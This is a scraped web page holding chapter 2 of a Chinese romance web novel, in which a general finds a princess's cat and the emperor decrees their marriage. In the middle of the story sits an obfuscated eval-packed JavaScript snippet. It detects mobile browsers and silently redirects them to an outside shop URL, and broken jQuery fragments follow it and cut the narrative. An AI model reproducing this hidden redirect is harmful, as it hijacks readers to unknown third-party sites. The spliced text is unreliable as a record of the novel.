文趣网 > 其他小说 > 驸马日日献殷勤 > 2. 第2章 赐婚
    荒唐。

    观风楼外的杏花树下,一道挺拔的身影迎风而立,如同一柄寒枪,夹杂着沙场浸染的肃杀冷冽,与芙蓉苑传出的燕乐喧嚣格格不入。

    去年秋,默突沙新可汗大举犯边,瀚海六州相继陷落,朝野震动。

    虞朔挂帅赴北疆,耗时三月收复瀚海六州,后率军直袭默突沙的边防重镇,在碎琉谷大破敌军,生擒亲征的拔斡可汗,平定北疆之乱,奏凯还朝。

    朝廷设宴庆功,随征将士论功受赏,唯独虞朔的封赏迟迟未定。

    虞朔少时袭父职,曾随戎马一生的北阳王四处征伐,以一箭射杀敌军猛将扬名。此后,他在沙场屡建奇功,冠绝朝野。

    正因为锋芒太盛,此战捷报入京以来,群臣对他的封赏议论纷纷。

    长风拂过,杏花飘落在肩头。

    虞朔垂眸捻起,滑落在掌心上,花瓣娇嫩,甚是动人。

    征战多年,回朝第一件差事竟是寻一只猫。

    虞朔心下嗤然,又想起北阳王的叮嘱,不免生出几分顾忌。

    “将军。”

    听到心腹周劲的声音,虞朔转身过去。

    此猫的主人毕竟特殊。

    他因伤休养暂时告假,遂唤来亲随同去寻猫。

    虞朔面色如常,当众展开那幅画卷,命众人仔细搜寻,又再三叮嘱:“如今身在京城,尔等切记谨言慎行。”

    “是。”

    众人领命而去。

    远处岸柳依依,父母携子女席地宴饮,笑语不绝。

    人间春色,莫过于此。

    虞朔凝望片刻,挑了条偏僻的小径,寻那猫而去。

    观风楼里,女子骤然横袖一挥,桌面杯盏滚落,砰的一声将跪地请罪的侍女吓得浑身一抖。

    张元曦余怒未消,抬手朝外一指:“还不出去找!”

    “是,是,奴婢这就去!”

    侍女踉跄起身,退了出去。

    顷刻间,观风楼只余下张元曦一人。

    张元曦拿过桌上的金铃铛,抬步走进内室坐下。铃铛时不时晃动着,却始终不见那狸奴闻声回来。

    良久,她叹着气,缓缓阖上眼,靠着软枕不知何时昏睡了过去。

    忽然,一个陌生人悄无声息地出现在内室。

    来人蒙着面,手里摩挲着什么东西,几步走到张元曦身前,歪头直勾勾盯了她半晌。

    昏睡中的女子褪去了平日的矜贵,难得露出乖巧的模样。

    蒙面人眸光微动,俯身抬臂便要朝张元曦的面颊探去——

    刹那间,黑影凭空出现将蒙面人踹晕在地。

    原本昏迷的张元曦立时睁开双眼,起身抬脚重重踹了过去,唇间吐出几句听不清晰的斥骂声。

    不过片刻,蒙面的布染上点点鲜血。

    她若无其事收了脚,整了整衣襟,吩咐黑影:“押回去,先揍几天,留口气即可。”

    黑影拖着人转瞬翻出窗外。

    绕着观风楼附近的庭院花丛寻了一圈,虞朔在一处偏僻院落里发现猫的踪迹。

    左边的花圃里,数株牡丹被横加摧残,罪魁祸首留下几缕猫毛示威。

    真是一只很能掉毛的猫。

    虞朔拿着下属摘来的荆芥来回转了几遍,仍未能诱使它出来,便遣人前去禀告公主府。

    此地除牡丹花圃,便只剩几株参天楸树矗立。

    虞朔抬头看着三四丈高的树冠,沉默片刻,开始逐棵细查。

    过了一会儿,靠近右侧院墙的树冠忽然传来一阵细碎的窸窣声响。

    他转身望去——

    葱郁的枝叶间,一颗猫脑袋探了出来,琥珀色的眼睛正无辜地盯着树下的人。

    正是与画中别无二致的狸奴。

    虞朔心下微松,举着荆芥向它招手。

    过了半晌,猫非但没有下来,反而要迈着四肢离开。

    虞朔眯起眼睛,望着它溜去院墙另一侧。

    下一瞬,一道身影攀着楸树纵身跃起,腾挪辗转之间,便托着猫平稳地落于地面。

    那猫扒着他的臂膀,竟分外乖巧,甩着尾巴夹着嗓子冲他喵了几声。

    他不由勾起唇角,抬手揉着圆滚的脑袋。

    这时,一阵脚步声打破院落的安静。

    虞朔蓦然回首。

    高台上漫天杏花如雪纷飞,雍容华贵的绯衣美人静静地站在那里,春晖落在眉眼间,顾盼生姿。在侍女簇拥下,她步步走下台阶,穿过姹紫嫣红的满园牡丹,翩然而至。

    虞朔猝不及防愣在原地。

    竟是她。

    张元曦由远及近,打量着眼前抱着她狸奴的男子。

    此人身量颀长,容仪清绝,眉宇沉敛,似孤松静立群山之巅,端的是一派无欲无求的漠然,教人敬而远之。然而近看之下,却觉其面容血色极轻,想来应是重伤所致。

    竟是个病美人。

    张元曦心中不由生出些许同病相怜之感。

    只是让战功赫赫的大将军为她寻狸奴,阿耶此番着实欠妥。又想起宴席上的一众年轻士子,张元曦眼底掠过一丝无奈。

    “你竟能寻到吾的狸奴。”

    张元曦亲自走过去,自他怀中将猫抱了回来。

    虞朔骤然回神,后退几步行礼,嗓音低沉悦耳:“臣虞朔,拜见公主。”

    “虞将军快快请起,”张元曦莞尔一笑,朝他虚虚抬手,“你平定北疆,实乃大功臣也。今日又替吾寻到这小小狸奴,于公于私,理应嘉赏,你可有所求?”

    虞朔沉默片刻,挺直脊背正目而视,面色淡然:“食君之禄,忠君之事,公主言重。”

    “虞将军不必这般客套,”张元曦眉眼弯弯上前,注视着那双漆黑的眸子:“你有恩于吾,但凡力所能及之事,吾皆可应允。”

    虞朔蓦地又退一步,欠身抱拳:“区区小事,臣当不得公主厚赐。”

    怀里的寅将军挣扎着伸出爪子,兀自朝着虞朔的方向虚挠。

    张元曦把它按了回去,手搭在猫的后颈上,眸底的笑意淡了几分。

    “放肆——”

    青阳见此人屡屡推辞,愤怒出声。

    “青阳。”

    张元曦轻轻瞥了她一眼,青阳随即低眉退了下去。

    她几步向前,抬手将虞朔的手按了下去,顺便将荆芥抽过来给了狸奴,同时带着几分歉意道:“小奴无礼,虞将军海涵。”

    柔软的触感一闪而过,虞朔身躯微僵,后撤两步叉手再拜:“公主不必如此,如今猫已寻到,臣有要事在身,告辞。”

    “吾可是洪水猛兽?”张元曦见状,忍俊不禁:“罢了,只是吾从不欠他人恩情,你莫要让吾为难。若你来日有所求,可以携此物来寻吾。”

    话音落下,张元曦不再多言,单手拢着狸奴,将腕间的白玉珠串褪下,挂在虞朔行礼的拇指上,旋即转身离开。

    “回府。”

    望着绯红裙裾从容远去,虞朔躬身拜别:“恭送公主。”

    碧空如洗,阳光照耀着满园牡丹春色。

    掌心里,白玉珠串细腻温润。

    虞朔难以克制般掩唇咳了一小阵,摸出一方旧手帕,将珠串包好收入怀中,极轻地朝右侧院墙一瞥,抬步离开。

    翌日,紫宸殿。

    张元曦眉眼含笑地回宫找阿耶要献花瑞的赏赐,却得到了一个天塌了的旨意。

    “阿耶不要我了?”

    “我不想离开阿耶。”

    “阿耶就非要把我嫁出去?”

    皇帝侧目打量着爱女这般泫然欲泣的可怜模样,疑惑道:“吾儿何至于此?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938498|213790||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    殿内啜泣的声音骤然一停。

    张元曦眨了眨眼,拧痛胳膊后含在眼眶的泪水立时滑落脸颊。

    就知道骗不了这老狐狸。

    张元曦擦着眼泪垂眸缄口,暗自琢磨着还有什么法子达成所愿。

    御座之上,皇帝眼底倏尔泛出痛心之色,冲爱女招手:“来。”

    张元曦不情不愿地坐上御座,听着阿耶说个不停。

    瞧她左耳进右耳出的倔强模样,皇帝长叹一口气唤她乳名:“元元为何不愿成婚?”

    张元曦抬起头,眼底的委屈清晰可见:“我朝有诸多公主出家为女冠,皆未成婚。我少时因病入道,为何不能同她们一样?”

    说是病,其实是因张元曦在东宫吃下同胞兄长晋王亲手做的冰酪樱桃而中毒,性命垂危。

    彼时,素来不信佛道二教的皇帝,破例下旨广召天下高僧、道士入宫设坛祈福。所幸的是,其中一个女冠尤善奇症异毒,在皇帝的允准下,用以毒攻毒之法来保全公主的性命。

    公主醒来后,这女冠便成了公主师。

    “你若有求道之心,也未尝不可。”皇帝起身回望。

    张元曦欲要辩驳:“我——”

    “你没有。”皇帝直接打断她的话,盯着她的眼睛:“还砸了法师的炼丹炉和仙丹。”

    张元曦默不作声。

    “婚姻者,人之大伦也。”皇帝抬手按在她的肩头,语重心长:“你既无心求道,阿耶便盼着你早日成婚,与驸马琴瑟和鸣,相守白头。”

    “吾儿且不必忧心,此人乃是阿耶千挑万选出来的,可谓卓绝出众,当为你的良缘。”

    “日后若是那驸马确实难令你满意,与他和离又何妨。”

    张元曦心头一软,觉得阿耶眼含湿意马上要哭出来了,欲要开口,却见阿耶变作一脸的幸灾乐祸——

    “何况,赐婚一事实非阿耶独断,乃是顺从天降花瑞而为。那并蒂牡丹既生于你府中,你合该顺承天意缔结良缘。”

    啊?

    张元曦震惊:“……”

    御座前,并蒂牡丹兀自开得正艳。

    殿内静谧良久,张元曦泄了气一般托着腮,恍若无可奈何只得认命的模样。

    “阿耶答应我两个条件,我就应下这桩婚事。”

    张元曦慢慢吞吞地吐出一句话。

    皇帝屏退宫人:“说。”

    张元曦竖起一根手指,眼神坚定:“其一,不能吃那些道士炼出来的丹药。”

    不可否认,那噩梦终究影响了她。那夜她在南山子虚观接到丹药炼成的密报,连夜回京便是生怕阿耶为求长生迫不及待地将其服食。

    皇帝闻言,莫名一笑。

    她揪住阿耶的袖子,小声嘀咕:“尤其是那个冯崇虚,年过花甲竟是童颜鹤发,谁知道是不是乔装打扮的。”

    皇帝笑容可掬:“允你。”

    “其二,”张元曦觑了他一眼,继续揉搓着龙袍袖摆,低眉敛目为自己鼓足勇气,道:“我要去南州!”

    紫宸殿外,内侍监引着虞朔前去面圣,瞧见在外侍立的宫人以及公主府侍女,便止了步子。

    “大将军,公主正在殿内,请您在此稍候。”

    “好。”

    内侍监退离几步,悄悄打量着这位风头无两的大将军。

    今日早朝上,皇帝正式为其论功行赏,擢升左神策军大将军,加授上柱国,晋封镇国公,世袭罔替。

    天恩殊绝,举朝震惊。

    荣膺圣眷的虞朔神色淡然立于廊下,一副宠辱不惊的模样。

    一个时辰前,虞宅。

    虞朔刚喝完药,见紫薇舍人持节捧着文书前来宣旨,眼皮莫名一跳。

    待他叩谢完皇帝对他的加官进爵,正欲起身,却闻另有一道赐婚旨意——